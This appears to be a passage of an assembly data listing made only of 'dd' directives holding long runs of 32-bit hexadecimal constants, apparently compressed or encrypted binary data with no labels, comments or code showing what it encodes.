dd 18E16B0Fh, 0EFED6903h, 14501984h, 5897D239h, 71BC8D05h
dd 64C84C78h, 9E0383A8h, 0B607CB5Ch, 37E9D02Dh, 7012623Fh
dd 4CE0C31Ch, 93005DF2h, 785C7A0Ah, 0A0481A0h, 0D280B550h
dd 0EA5841E8h, 0ED98100Bh, 0CED601B8h, 0DAC59A7Ch, 892F6017h
dd 6371DC2Ch, 0B54AD906h, 0A3403D1h, 6E096AA1h, 0D263C188h
dd 59610600h, 67E6BFBEh, 6DE72839h, 4CDA45ECh, 0F700EB54h
dd 10C83C2h, 90754647h, 0E064F864h, 58049270h, 316EEC35h
dd 124E03C0h, 0EB0029FBh, 8962B65Fh, 90A7DD59h, 2738CC88h
dd 0F87FE4C9h, 78E039C0h, 5320ACCh, 0A1BF8A86h, 0A8BCD2h
dd 35E98D76h, 0FD836Eh, 0BFE331C7h, 0E7232FEEh, 62003C9Bh
dd 78204BF5h, 0B674FEh, 596910E3h, 7EFD043h, 0C58A2284h
dd 1160CF48h, 5210ACA7h, 80B68862h, 0E12B6181h, 910009CCh
dd 0DA2C60EDh, 50E5CF3Dh, 1E197CFDh, 804E5B30h, 9A0F66DFh
dd 0DBEE9EA7h, 58016305h, 8000A3F1h, 258F0A59h, 44089A72h
dd 0FA004F67h, 34CF7939h, 3EBE668Ch, 0FC066FFDh, 0B1D781B5h
dd 0B7EDD218h, 0C00DEB99h, 381BC5F9h, 6D05A7D8h, 156CDC4Ah
dd 83EB1804h, 5DF39C40h, 423002B2h, 4A4421D9h, 300D888Fh
dd 874B492h, 0EF822F9h, 67C28197h, 0EA614550h, 61D6F3CAh
dd 0E9F492C0h, 47C38083h, 3BC58802h, 66D18DB5h, 94244h
dd 0A861905Bh, 303E6420h, 31906C6h, 989034F3h, 0B4445F03h
dd 0D933E35Dh, 4998D868h, 1D46705Ch, 0C65A0600h, 83804E05h
dd 470E00D6h, 9ED2938Ah, 0A23E635Bh, 7F1E0013h, 5CC287B2h
dd 268400E5h, 1207ACB6h, 0E715946Dh, 0BC6BFDh, 56F632F9h
dd 0F0CD0E8Bh, 467E1813h, 0BD0578C0h, 0E4654503h, 0A0CA9CD3h
dd 491BD15Dh, 35223C27h, 0C6A70100h, 5A098A8Ch, 0E8020FAEh
dd 480F1714h, 58038901h, 40022E5h, 753980CCh, 6894C30Ah
dd 0D5D305E3h, 9984082h, 44CA6275h, 3F60E400h, 7308EE79h
dd 0D3E30F0Ch, 0FD86F494h, 1773C961h, 0D0A2126h, 9C030326h
dd 0B7AE5C01h, 2BA9B4A0h, 78EF1DBBh, 5A30F054h, 81C033EAh
dd 0F795633Ch, 9A4D0E4Bh, 0F100E6D1h, 9FFB8BC2h, 32CE7E04h
dd 389514CCh, 22E41054h, 7E1F0003h, 29069854h, 0E8C3BBC5h
dd 32EB35h, 79C96721h, 92FA73Dh, 40478800h, 0B9A3BD7Eh
dd 4DAB17CCh, 0B762042Bh, 0E85C88E6h, 56310E9h, 0BC892429h
dd 782162A0h, 0AE406624h, 6AA55F38h, 7B588004h, 67C0E0EFh
dd 49A30FEDh, 4510F0A2h, 80898867h, 0B29CFCBCh, 0DD00E75Eh
dd 5F14232Dh, 9FDA068h, 4D024F5Dh, 0CAF9819h, 39A42CD8h
dd 35D260D8h, 0F6004B44h, 0D5B13A3Ch, 7539FE11h, 8B0A8h
dd 3B5E40FDh, 652276FAh, 5718FB72h, 18A1A4DEh, 669F26C3h
dd 0DF8F42C8h, 0E106C11h, 0D80AEADDh, 50FE9E2Dh, 0C5BB46C5h
dd 78248202h, 314428E4h, 728A1F02h, 87C60B99h, 7054F487h
dd 91C5A25Ch, 0F5B85A06h, 228979D1h, 8D293AEAh, 8391CCDBh
dd 86E59F0Fh, 0D88FE320h, 0E40390EBh, 6DBDD151h, 356490FEh
dd 0E8BF480Ah, 8504504Ch, 81EB6574h, 32E6C5A4h, 22863E0h
dd 0B446A85Bh, 8963042Dh, 90A2F501h, 25DB524h, 1E629090h
dd 0E4F8DF40h, 55472238h, 0A1905A05h, 5000ECD3h, 815F1C98h
dd 0D83D49EAh, 0C0000F22h, 7FDC58F3h, 139B87F6h, 501F92EDh
dd 0EC0BFC34h, 0CF816031h, 0CC93D56Dh, 45003DA6h, 351FA43h
dd 0E1C13h, 265C36AEh, 93CDFC98h, 6301C370h, 0A3ADC6CEh
dd 8980B04Ah, 0DEEEBCABh, 3C008925h, 8BA0A8F5h, 0CFB450h
dd 0F414A50Ch, 477F3548h, 13D9500h, 9CBFCBE7h, 0D2910078h
dd 0BA9D1C9Fh, 0FB260312h, 4406A0E9h, 30618F90h, 4FD90CEBh
dd 1300387Fh, 5B3725B3h, 28EEC71Fh, 148030E7h, 0AC518A9Ch
dd 418B4A86h, 0E010B000h, 3706EBEFh, 5A722CD8h, 0C7C44590h
dd 605E124Ch, 0A21C6410h, 0DC4000B4h, 7356E370h, 3431024Eh
dd 3C6FF27Dh, 6C00CCC6h, 262BE927h, 611E71h, 638B7AEAh
dd 7CF01FFh, 22A0EC00h, 0F1738CDBh, 151D004Dh, 657CE3D5h
dd 43008A55h, 4B0350E2h, 38063018h, 0FE45EDh, 0A9AFD6Dh
dd 833BCCF6h, 37129674h, 508882B5h, 250A725Fh, 0EC027AFDh
dd 5C643667h, 4D651C0Ch, 0DBC98Ah, 8D8C3528h, 0DE42C97Ch
dd 9C8823Eh, 40528FB4h, 13D3CFA0h, 2E16746h, 0D1583656h
dd 0E644048h, 87593E69h, 0D0CAEC18h, 0A3B450h, 0F9D2AD4Fh
dd 656FDAEEh, 20D4CC26h, 0A7380B82h, 0F0604498h, 676E0A26h
dd 82C200Dh, 318265FDh, 0E039B2C2h, 1FCC71Dh, 0C54081B8h
dd 63EEA00Fh, 273A70h, 542D7AC4h, 122B8F6Dh, 880FF163h
dd 4200CE60h, 31F31B3h, 0A096D3E1h, 90C9F908h, 0AC6C20B8h
dd 1CDC6B22h, 1D6D68FEh, 0E20C0145h, 60F22CFDh, 0C27B5BE8h
dd 0AC4AC429h, 80BBA700h, 1686426h, 297BDD3h, 24BEB958h
dd 444803F0h, 34EC03FBh, 229A4543h, 92F86CE8h, 3D13600h
dd 150181A7h, 5238C0B8h, 533280B5h, 0AA00CCA6h, 352A8A3Ah
dd 8B83A058h, 602837FAh, 8DF03BAh, 0E8C9DE16h, 914845A8h
dd 34052568h, 8308009Dh, 0A676D4Eh, 6B30F0A4h, 268549D5h
dd 738A007Ah, 0D194A603h, 2E12F9DCh, 0EB07B2B9h, 9890258Bh
dd 2E423C76h, 1A7C141Dh, 7CC81187h, 0CC2ECE0Bh, 6160283Ah
dd 0F9C273h, 2E962CB5h
dd 0B30587D4h, 8AEC243Ch, 905E36F6h, 20A6441h, 65E43980h
dd 1BD49C05h, 3E508C0h, 3DA55115h, 0FBB8357Fh, 0EC196748h
dd 0FCBBC1C0h, 0C44B8AA0h, 1D091C44h, 9700ACB2h, 79744282h
dd 3700CE44h, 86F6699Bh, 1AB0BB5h, 63B4CC08h, 80515D35h
dd 6B03CF91h, 0F664559Dh, 0FC9A0EC0h, 6341157Fh, 4116FDE3h
dd 1003095Ch, 922CD1Fh, 185FFC7Dh, 82218064h, 663F00E6h
dd 98351E89h, 0C356D2A0h, 0A916F303h, 826E14A3h, 1C4C64h
dd 28056B0h, 45EE7543h, 61854200h, 640B2465h, 658A0D9h
dd 38E8B180h, 234374Eh, 0D4503E47h, 1078C45Ch, 6B25C586h
dd 0DA137020h, 25008241h, 5C8A5B0Ah, 1947EB72h, 0E184CC7Dh
dd 0D0508409h, 40C201C0h, 0E4C01A0Bh, 471EE4CCh, 0FF097F99h
dd 15A8616Dh, 80B34A11h, 2897ECA1h, 10EE49h, 0D88C99B7h
dd 85DAB538h, 3690D401h, 0E95A0EA7h, 0E065C8CCh, 44B49631h
dd 0D64D406Fh, 5CA63DB8h, 204E5779h, 6571850Ch, 30FAD400h
dd 76C56494h, 0EA357F60h, 27677050h, 0ACB0C0F8h, 3C00A6EFh
dd 9C7337F0h, 1109D56h, 0D9CDE2F9h, 0C66DB6D8h, 0B026E453h
dd 81EC5B14h, 6B7AA4C4h, 0E4003C39h, 16CFA2E2h, 3460EAB7h
dd 0CEB677C1h, 20FD0198h, 75E2F10Ch, 7A02C806h, 7B8BE804h
dd 0F88887FAh, 350C4403h, 0E1525C37h, 0C8816360h, 632C9022h
dd 6DFCF92Dh, 56A9211Eh, 362BABC2h, 1086EDFh, 1982A708h
dd 0E049FD84h, 4D4F6A4Ch, 51F51840h, 0AA9FA96h, 0EB88E2C7h
dd 9945005Ch, 7276FF16h, 8771B200h, 0FB0D154Ch, 0ECFED5h
dd 0A0505FF3h, 2B15DFFh, 34224F4Ah, 20281991h, 0AB27984Ch
dd 0D358A0FDh, 283B8F1h, 0B69A7F62h, 3CC03E71h, 988B81D2h
dd 2CE5E12h, 354EECDCh, 0D87244EBh, 257F5122h, 4A50B64h
dd 11C8A46Bh, 80AC1439h, 0C866D7B0h, 0E88D69B3h, 5F5513CCh
dd 0C0810920h, 0C9E47CE8h, 79B24B30h, 0F3EAE8h, 2E079219h
dd 0C1740981h, 29D5FF00h, 0E3013CCDh, 404D4E3Ah, 9E639BB0h
dd 7400F1B5h, 8A367D46h, 0B91FB6Fh, 0EA574385h, 5533B404h
dd 5C6909CCh, 2B44E9E8h, 925F4440h, 708D4CB4h, 27E9C19Fh
dd 2848CDBDh, 2CA124B0h, 945D4A60h, 7A1D009Fh, 17B7872Bh
dd 0F80E5F5Eh, 6079F9AFh, 8DC1ED97h, 9501263h, 0EE47238h
dd 545B3521h, 6C058033h, 8C6247EDh, 523C9038h, 0D0DB0007h
dd 0D15FC133h, 10224A23h, 0FD00244Ch, 5DD48259h, 8E00ACECh
dd 67B56D9h, 283FCB2Bh, 2508DAC7h, 0EC1037FBh, 0D800336Fh
dd 92F12239h, 0CC87F9h, 8F8C09E9h, 7546429Eh, 0EDF8C905h
dd 80A22FE5h, 0A1D94518h, 64545DBCh, 68002758h, 0B5D6A9EAh
dd 763FBB91h, 0A0E54C58h, 7919DC18h, 279871D7h, 45C5E300h
dd 784E978Eh, 0C04D5C63h, 9B3DC381h, 24F0FA6Ch, 0A0D5D327h
dd 0E389642Ch, 91F30BD2h, 349AED65h, 84EA6482h, 35C17A11h
dd 0C09137FCh, 71D48B58h, 0C02EED98h, 0C8B8F4D5h, 0BB400200h
dd 6C45355Dh, 415F136Ch, 3E4160Eh, 0A3DF3EE8h, 0D8976928h
dd 3B944C00h, 1EC3E366h, 45FA25A0h, 8464B010h, 0B4ADFF00h
dd 935055Dh, 602D32B7h, 0B4E4FC50h, 291D2476h, 0CD44B470h
dd 7CDD0C5Eh, 1325B810h, 19375AEh, 0B3C357AFh, 2E834D28h
dd 0CFF5D00h, 4E55BEDh, 0DB53CAC8h, 580CA2C0h, 6C7BC148h
dd 44500A5Dh, 0B488D3D2h, 5FE64470h, 2441825h, 60575919h
dd 1736B480h, 2000326Dh, 89F216DCh, 253E9CA6h, 0E0250E67h
dd 0B50481E4h, 9AC238Bh, 0C82A5E4Dh, 13E9CD04h, 93D4BB37h
dd 0D0880364h, 890446A4h, 88E8BA53h, 3005CB6h, 0D368F113h
dd 8CE2D22Bh, 0C28860A0h, 78BA6389h, 0CEF0DFA2h, 4513090Bh
dd 55D8346h, 0B08BD326h, 256A9C24h, 3C9035DBh, 0F31D7D75h
dd 5A001CB7h, 3C870B62h, 7661C03h, 643740DCh, 94F65CD5h
dd 35481105h, 9843E758h, 0D3836D59h, 0D3D6E050h, 0A10261EEh
dd 0C25FF59Bh, 504C3150h, 980CCAA4h, 705A6EC0h, 0F2631D67h
dd 5229F00Ah, 0D45C8AFEh, 40358EB8h, 16A63139h, 80F4B46Bh
dd 42A77710h, 2C00F697h, 12F0ABBCh, 0F1D716Dh, 0EC417649h
dd 2484E309h, 2294507Fh, 40FC5AA8h, 0D84AA70Ch, 0B03853DAh
dd 284E804Fh, 3AAA92FEh, 0B91107F0h, 0CAFD9D61h, 723580CCh
dd 0DC3C65E4h, 0B3896700h, 0D560E314h, 66220FFCh, 90008D74h
dd 0CE2080D2h, 0CB88CC0Fh, 1ADAC06Eh, 2E4B687Ah, 384DE92Bh
dd 23B420DBh, 5A1C430Bh, 0A46608AAh, 91D1D242h, 788064FCh
dd 0EAECDBCEh, 4B2D5333h, 8AB0A0FAh, 68DAB0h, 0D0662356h
dd 801D9889h, 99E61890h, 4FD25240h, 0D90021D5h, 6E1060B1h
dd 0CB7C988Ah, 0B40D00B8h, 0FC0ABB15h, 0AA3EEA3Bh, 561897F0h
dd 8BE9C008h, 0D8900264h, 55C801Bh, 0E8EA2A20h, 5B16C807h
dd 1FDF5935h, 0B456C387h, 0CB047CDAh, 48C24316h, 6EB09095h
dd 0B2070F83h, 0B487EEA4h, 186551DBh, 0E448887Ah, 0D04B1285h
dd 0BB13BCA0h, 693AC901h, 0D9D43BB7h, 9AC14061h, 68545D08h
dd 0CA90E58h, 63191154h, 80D98888h, 9A47833Eh, 0C7DEFD3h
dd 8EA5570h, 39002439h, 0EB761CFCh, 0FBA590h, 0C65F529Bh
dd 2D6CA1CEh, 9DCCF000h, 0E5E7EB2Ch, 44943B19h, 0C30628BEh
dd 8ED4268h, 6042D1Ch, 0FDA67BC0h, 3B6EA763h, 0F6B059AFh
dd 7E8DFF21h, 93741F18h, 0C05BDC59h, 0E8C1C308h, 7809BF9Eh
dd 55334851h, 98A6AA80h, 40C0F375h, 9705F62Ch, 0F1570A31h
dd 11401DE7h, 67C800ECh, 519D82DBh, 49EEB2h, 0D0A0C55Ch
dd 5ED49FA5h, 0A40CA171h, 7967DDFEh, 0DFFC0010h, 0D042C225h
dd 666107B3h, 0F2691C59h, 0DB858E07h, 0EA380823h, 81291E8Bh
dd 274731FCh, 8807D890h, 0DE988058h, 67978443h, 13BA7D00h
dd 5D56AC80h, 71F90057h, 27ECED33h, 0E018CD60h, 59396244h
dd 0CF9DEA3h, 0C189FDCFh, 4F973300h, 0B252A29Ch, 0D78E300Dh
dd 513AE7D6h, 25E5F114h, 0C4631160h, 0DB8FA300h, 0CF4CC676h
dd 6C5BB300h, 0EDE7BFA0h, 44EA0C69h, 3519CE79h, 28130703h
dd 0D09FEB4Ch, 8A6C7h, 5AC80D93h, 0DB7DF997h, 16A981EBh
dd 6A77EC46h, 7FD9741h, 8F40661h, 0CF7A007Eh, 0B430C78Fh
dd 281FAAC4h, 7EFC09h, 763973A3h, 0BF4CDBh, 42EFE225h
dd 144EED5Fh, 0EECC8F06h, 28115E6Ah, 30140377h, 67E12107h
dd 860E5090h, 9E3E9479h, 0B1F617C0h, 95853B8h, 0A342112Ah
dd 70200Fh, 9E3B8F2Dh, 48AA5EDDh, 0FF2A7990h, 8DC4890h
dd 75C2180h, 0F38A441h, 6CC060DDh, 1D74583Ch, 8BEFA334h
dd 0A3805DCAh, 6E92328Eh, 0F6113561h, 0E4418AD2h, 0E8106D43h
dd 0A524F86Ah, 3F475807h, 0FFC00DE4h, 1DEE7C2h, 0AE8E90B0h
dd 0C406C9ABh, 0CA0E870Eh, 80862FBEh, 0A20B3B76h, 276C0059h
dd 0AB353758h, 790098A4h, 0D20C427Ch, 0EF20E5h, 444C161h
dd 0F7BA637h, 0C2A0A401h, 71FFD596h, 3450B271h, 90476C31h
dd 0FBD41E75h, 0A5FE0388h, 78906DE3h, 0A8C02C39h, 47293570h
dd 280160BBh, 0EB6B1CA1h, 534498A4h, 76E400A0h, 9E4C8C03h
dd 52139FE3h, 0EC1F7375h, 5A727B03h, 5B87809Bh, 1C6C030Bh
dd 5C45E039h, 0A8594109h, 7414EDh, 9B713C7Fh, 0A2D06C11h
dd 76002C7Ch, 270CE4B6h, 0CC6644E1h, 3A528841h, 2BAA8100h
dd 0E0CA6E8Ch, 3064507Eh, 0E1D544A1h, 0DBF14645h, 0C126B20h
dd 0F9CF2701h, 89054819h, 8880797Eh, 9D29FC00h, 0C0C2771Ch
dd 2C8FAC21h, 0F091DB27h
dd 0E6A43F00h, 71635Bh, 4A4EF7E1h, 0A0CD8004h, 0CA27339h
dd 41C5621Fh, 5097843h, 4BE7B457h, 4972C676h, 0EB0EED7Eh
dd 4C095C7Ah, 2AE1087Bh, 50746045h, 2A4446Bh, 0F1565D69h
dd 800F2ADAh, 8F573935h, 26A0436h, 0D0C6A658h, 0E8F15000h
dd 42291F62h, 9864EEh, 63357675h, 0B5A9AF4Dh, 0CD1A7E12h
dd 3013100Eh, 0EFA7590Ah, 62884FA0h, 50AB26BEh, 60716B46h
dd 3AFBA17Eh, 8F48FEE2h, 0CEE10C38h, 373B9F1h, 59E3539Dh
dd 970948h, 71BDA816h, 93428013h, 0A410FA12h, 82A381C8h
dd 7B70DBA0h, 3109F0CDh, 7980AAEh, 86D19D18h, 9BE34942h
dd 9FDEF2h, 0E1D177F1h, 1EE404A5h, 0CB9EBF1Ch, 38196A80h
dd 29F2E847h, 11881BE7h, 0FB2300E2h, 0F8D30490h, 6C9C0028h
dd 0A25B0DA1h, 61E21FC2h, 0F299FA61h, 41802BE8h, 0E7B256CDh
dd 0C767EA4Dh, 28024621h, 0D1B86069h, 34F6746Eh, 0C7696D1Ch
dd 0C95D41A8h, 8B1180F5h, 0B0962473h, 0DBF90336h, 0EEE34216h
dd 46402E98h, 8AD04348h, 778EC061h, 1FB8D545h, 0DD827DF8h
dd 9060DFFBh, 3087CB34h, 0A2287F17h, 5929E7F7h, 7A96E8ADh
dd 20483838h, 7C00F5DEh, 0A25009BCh, 3927082h, 1768EF63h
dd 819DA560h, 1029D9C4h, 1503BC7h, 4762CD13h, 30CB63D5h
dd 0FE24D830h, 0CA8C9CAFh, 894CC964h, 0FDC44807h, 0BA36A100h
dd 3B56E2F9h, 0FA850026h, 0CCED1A6Bh, 111423DCh, 48180603h
dd 0C87440E0h, 97E9E602h, 0A41F74EFh, 0D2C1CC0Ch, 0AFCCA234h
dd 1912043Eh, 81A37DC0h, 15F374A8h, 95448Ch, 6F5CB727h
dd 47FA21EAh, 253DFB00h, 0B262A06Bh, 0E8430370h, 494FE5A3h
dd 0EE1B15B0h, 2607A418h, 0EFAE8799h, 0F5AECC8h, 7646E7B7h
dd 3EF432F2h, 6C4E4404h, 89E8CF86h, 0AA710C00h, 640C405h
dd 95079A8h, 0DCCA8DC5h, 83696700h, 0B3001DC7h, 0E497F9EFh
dd 6078FDA4h, 675487Dh, 9602F663h, 0E0B4B8BFh, 15206470h
dd 8CF1A959h, 9EA35003h, 1102B273h, 709C05F7h, 6C3610F6h
dd 0AC5D2800h, 0A3303588h, 0BE5A2637h, 227D133Ch, 6C416D44h
dd 74C6F8A8h, 0A8CBCC2Ch, 0A10A8640h, 0AFE90025h, 0FB55F6A5h
dd 0B5483E57h, 0AB97126Ah, 0A328EC00h, 4CBE96E7h, 5000ECEBh
dd 0B5CC7F7Ch, 68167844h, 1427DCB7h, 83BA21F1h, 3BAEEBECh
dd 8801512Bh, 0DFB26A22h, 6EC3F0ACh, 0D0B174B8h, 9199180h
dd 18ABC6CAh, 18F73429h, 7F29F82Ah, 0CD0098B4h, 0DE64A3Ch
dd 27E4A1A4h, 5BE03110h, 0C50902F6h, 90709D6Ah, 4CDD7714h
dd 0B3E6EBFh, 4845B086h, 0E07B11BBh, 616F8300h, 3D16DA75h
dd 0F7684C97h, 8CEB40h, 0BA5DC7A8h, 0C3E67A2h, 28600230h
dd 0DDD36Bh, 0ECEE880Dh, 3755DC4Eh, 0D484AB01h, 9E914B06h
dd 3DA1E8h, 932AEE77h, 6B091EF2h, 0E20568C3h, 7A490572h
dd 64F9927h, 89596F91h, 8BF8DD02h, 40F26EBDh, 0E063B238h
dd 96C60F2Dh, 99C4F3D8h, 640FC0BAh, 59C0155Eh, 918646F7h
dd 6EA00007h, 44D9FF51h, 0E6F84EF2h, 0FCB8803Bh, 5AC23103h
dd 1E063228h, 0D3229C39h, 74CACF0h, 39ADEDB6h, 676C23A0h
dd 0B06D0060h, 0F049DEEh, 8833D76Fh, 0AB8BA98Ah, 1FC878CAh
dd 0C2145E4Ch, 429E5496h, 0F72B7060h, 9224EB05h, 0A3C05ADBh
dd 288BE012h, 18A85DB2h, 41E3F064h, 80F16FBAh, 3836D59h
dd 9EC605h, 547D7C67h, 0A18029CEh, 8DF69507h, 8A4017E8h
dd 6572E12h, 85D7756Fh, 643C415Eh, 3D5963F3h, 0B9E9000Fh
dd 8B6DF4EDh, 107C463Eh, 2712AC00h, 0C6516F4Ch, 1552019Bh
dd 6D4F215Ah, 0F261C894h, 0BE2ADE00h, 0EAD98E4Dh, 0D3FF0249h
dd 97E34190h, 172ADC8Ch, 1240D1Eh, 9F853130h, 186575ACh
dd 390AFF50h, 0BE18A5C3h, 0E67097BFh, 8AB09ADh, 40108CD4h
dd 4552648Bh, 95FC18E8h, 151AFA1h, 0C3A918DFh, 989F1DDDh
dd 57191510h, 0A08C387h, 71303074h, 5CB20809h, 31B8CC4Fh
dd 38008310h, 25772BE9h, 78B23FB3h, 47CFA80h, 6A565BA5h
dd 2D5A80F2h, 8E061068h, 3321D23h, 0A6920F91h, 0AAA09D91h
dd 528C455Eh, 80533D38h, 6C51E972h, 35DF91A4h, 80D1606Fh
dd 59FA2DEEh, 0BC1BB700h, 1471D9FEh, 358D2A0Ah, 9D8900D0h
dd 55F18038h, 9766534h, 0B30040E4h, 134D2564h, 522277F5h
dd 17058C61h, 40602379h, 0DBEA1808h, 7A2491F1h, 3E3B24E6h
dd 29206088h, 128DB71Ah, 448C8AD7h, 906E02BCh, 0A5A0D1C0h
dd 0A26C7004h, 0A88264D2h, 0EE0521C5h, 1529806Dh, 0BB8DF18Bh
dd 8A591E50h, 0EF04C339h, 200CC5DCh, 7861E67Dh, 26D9C709h
dd 0C6E483F6h, 0A6BA1102h, 2FCB8A65h, 4B808E60h, 0C40FF3B0h
dd 0AE1892D1h, 0F15BA015h, 8326E7FFh, 0B464F5D8h, 0E8502262h
dd 0C6052FC5h, 28B45E32h, 0AE7C00DCh, 7A17CAD5h, 8A005F5h
dd 1A0C5280h, 315883D4h, 39666002h, 45426FFCh, 0AD15E000h
dd 0B4BB2497h, 3FD2001Eh, 5D700788h, 0C5034F09h, 1C28352Ah
dd 9041DD32h, 0BF7BB476h, 0A960F7D6h, 0E100B201h, 99D8805Eh
dd 9D5DA0h, 649523F5h, 7415A9EEh, 5EBA7701h, 0D3E32872h
dd 0C0ABCF0h, 0B60C83F6h, 9898EA90h, 5322907Dh, 626F3003h
dd 0A5B2E4B9h, 2F6DCC00h, 7C33D076h, 0D25E788Ah, 53F00D21h
dd 11B827B0h, 640A69ECh, 6EF00B52h, 8E230091h, 2704FC53h
dd 912A002Ch, 730E57DCh, 0FE006A45h, 0EA2E9856h, 3EE9647Eh
dd 62077594h, 0C1C60C37h, 20818BE2h, 0C039734Ch, 0A28D93F0h
dd 2B024022h, 0D8797100h, 0D600638Ch, 0DBF2B80Ch, 7A990B6Ch
dd 85770F25h, 5409AC98h, 0B399C943h, 0EB589082h, 23F37204h
dd 6C348110h, 0FB2D0015h, 0FE5906E0h, 0D1702F97h, 0ECBA7A1Fh
dd 283E6F24h, 0EA4C0C07h, 7C332850h, 8047277h, 89D41D53h
dd 18BDC88h, 9E7C14F2h, 7096F4ABh, 0C778BA98h, 1D5B600h
dd 0D9623FA2h, 0ED2A0060h, 0DA190227h, 79079241h, 7775953Dh
dd 636EB3h, 90560651h, 6792FD7Ah, 0BF64C801h, 65021784h
dd 9CE28980h, 73B160DCh, 69E68100h, 4F8A37C1h, 0A22A0F50h
dd 45E9581Ah, 1130D028h, 680E7C61h, 60026706h, 0F5147054h
dd 0BC2A543Dh, 87EB00F6h, 158A1FE5h, 0BE007D5Bh, 11A2C6B4h
dd 396BA20h, 42472F5h, 14A053EEh, 0DC558D74h, 9A6530E0h
dd 602FBC31h, 20B92690h, 1B818A00h, 6E8FD416h, 0E73389C0h
dd 0CF4200Ch, 8EF8B312h, 0BF008F18h, 29ED2E51h, 1616DB4Bh
dd 5FE69E2h, 0C2D3B864h, 84A2675Bh, 0EEC032C2h, 557B9F42h
dd 25203C00h, 0E6387E12h, 600D728Ah, 315D9830h, 5B35644Fh
dd 648CE904h, 0C59A00BEh, 904C23C7h, 52385065h, 0F50C898Fh
dd 978C101Fh, 0EC704404h, 0B02AE63Ch, 8D8B08EAh, 46091D6h
dd 805A335Eh, 0AEFA4ECBh, 0A687061Fh, 39490D18h, 0EACF00FDh
dd 0D6D92570h, 690735F5h, 12BA8140h, 0E056C6h, 307DA934h
dd 75DA2215h, 8B5FF01Ch, 0AB12F680h, 3C725Ch, 21665D91h
dd 9FBD01BFh, 6F67F500h, 86FE6413h, 3FD7F2Ah, 9BCE0F7Eh
dd 0EAF84120h, 0BF0CB769h, 2065FED0h, 4EE249h, 7A2925F6h
dd 72A93553h, 8037CD37h, 662AC080h, 2D250CE0h, 0DD204DA6h
dd 396922h, 0D1951546h, 0C30C2AE8h, 36065Ch, 0DCB1B9EDh
dd 37583A14h, 60D195F9h, 0CF728208h, 40A42430h, 0C0032B3Ah
dd 8A43DD79h, 3C6054BDh, 4C057D10h, 379A3A18h, 2DCD9B00h
dd 7AB5E995h, 5E42E400h, 0D9B4DEE6h, 840831F1h, 358CE58h
dd 356100DCh, 0E70BBE07h
dd 6E00BC48h, 145DFBF6h, 0E2F959D6h, 5B68C331h, 403E8B08h
dd 554054h, 35F16F24h, 0B1F2197Eh, 5C79EE19h, 0F81CF611h
dd 0C995B741h, 7D0E9454h, 0DFE7A683h, 915C26B2h, 58008D79h
dd 138AB7B3h, 0E6D8C41Eh, 0F3880117h, 91C590A0h, 0CF4DC0C7h
dd 2BD6C906h, 514CBFh, 0FAAEF6CEh, 6115113Ch, 60B9433Ch
dd 5CF70959h, 0A4EC5257h, 0C0D1DB1Dh, 0FDF0764Fh, 580A1D2Fh
dd 0F47BA1D9h, 55413F64h, 0C0A620F4h, 2306A837h, 50A41A54h
dd 0F7D00079h, 69CF2128h, 0D1286CAAh, 231F08DFh, 1B40F804h
dd 0BFB46FA8h, 0F35201C4h, 151DB82Ah, 3269E084h, 402D69CFh
dd 6285E16Fh, 0B45701FDh, 0CA09F859h, 2C46E6A9h, 6012FA00h
dd 9E23A104h, 1D110714h, 0EAB24213h, 40540A78h, 68BD40B4h
dd 270B4512h, 8FF90AA2h, 5F15C0DDh, 7B010240h, 93CA306Bh
dd 37536230h, 58C2B700h, 2E302FB9h, 54A118D1h, 4315149h
dd 91CBD050h, 2C0AB090h, 9C75273Ah, 1236C442h, 0F4BDC961h
dd 4B06595Eh, 487602CCh, 4978B528h, 0F0651403h, 0A09B94B4h
dd 0BB2A52h, 0AA584BD8h, 0CF0A575Bh, 0DD8BFD01h, 0EA2D157Ch
dd 0A0784AF4h, 0AE0BA0h, 0DEC96D29h, 6E7E7C17h, 62FC0900h
dd 1A4F22D6h, 882E543Ah, 0FEDC0CA9h, 2A11AC8Eh, 1089BF00h
dd 0C751E75Ah, 957422Bh, 4132F4Fh, 0DB403BE4h, 5C03C6C8h
dd 84ED9000h, 1BDA1C79h, 0BE290059h, 45745797h, 0AC91B743h
dd 7926B100h, 60D72F25h, 0D1618052h, 0EC0091D9h, 562A6A42h
dd 51950B7h, 2BCE280Bh, 0D00805BEh, 581405F1h, 7D984FFDh
dd 160B10Ah, 625DDC09h, 5822F7h, 0AC8C8FFCh, 781C19B6h
dd 86750BCh, 22906Bh, 0C3A88243h, 0DC9BB9EAh, 0D825F00Ch
dd 2EDB417Eh, 309FE1C7h, 19962A11h, 3877603Ah, 5ACB0048h
dd 84C71067h, 1F132803h, 68C61DD8h, 0D8C41C54h, 92C5A93Eh
dd 6017FEFAh, 6E00FB9Eh, 665EC14Ah, 4E37A0Fh, 22010D1Bh
dd 0F47CC0E2h, 1C06114Ch, 5BDFF7C5h, 0BE6438E1h, 0AFBAE980h
dd 7A738445h, 0FD007E74h, 0D15A2942h, 24BEF096h, 2910DC85h
dd 0C0AA1CF4h, 0FE4D18C7h, 0BE24308Ch, 83090F4h, 0A1A510DCh
dd 0D81033ECh, 9D0C8FA7h, 0F97683A6h, 497A0068h, 31DDF1DCh
dd 450119E7h, 9DF40B8Ch, 64204737h, 212506C9h, 8C22622Fh
dd 2A40FD50h, 8048BA4Ch, 0C14D08CAh, 59DF30F0h, 29B25621h
dd 0D2958A00h, 10115596h, 335A1736h, 243800E5h, 22642F01h
dd 0F7D15C15h, 91BC212Ch, 0A7DC1138h, 8B1EAC01h, 0D8C230EEh
dd 0F97F898Ch, 657511F2h, 4A245213h, 24F8D822h, 0B93CC868h
dd 8138D02h, 40F65769h, 13F41BCCh, 20ECB76Eh, 308EFCDCh
dd 5EB231C2h, 0A1D88419h, 77FDEF40h, 0B400E6FAh, 5F22670Fh
dd 0E478C01h, 6A0D8621h, 93CD7923h, 0BBB781A8h, 28F4838h
dd 6F897CE1h, 0E4622Ch, 3583C32Ch, 21289A73h, 0F003CD3h
dd 0DBED6EFCh, 54F10264h, 0B64221FDh, 0F03E8C44h, 88E84DE5h
dd 0DD927Fh, 945F8C0h, 0CD010A7Ch, 0BE23C4C9h, 182330C7h
dd 3A9D7203h, 39007382h, 27B5565Ah, 87D4B0h, 0B6E4B254h
dd 0B486470Eh, 43FDB31Eh, 58811518h, 0D84B48FFh, 4ABD19Fh
dd 0F1D164BEh, 63DEC480h, 5CB648AAh, 18420840h, 0E054F556h
dd 0F73F6E88h, 10578CF6h, 16289A2h, 6809CE29h, 75AA9369h
dd 7210EA10h, 942C55C9h, 79820E21h, 4314A815h, 77F20140h
dd 57B12900h, 3699BB8Dh, 86C70E71h, 0F474B78Ch, 0A000F48Bh
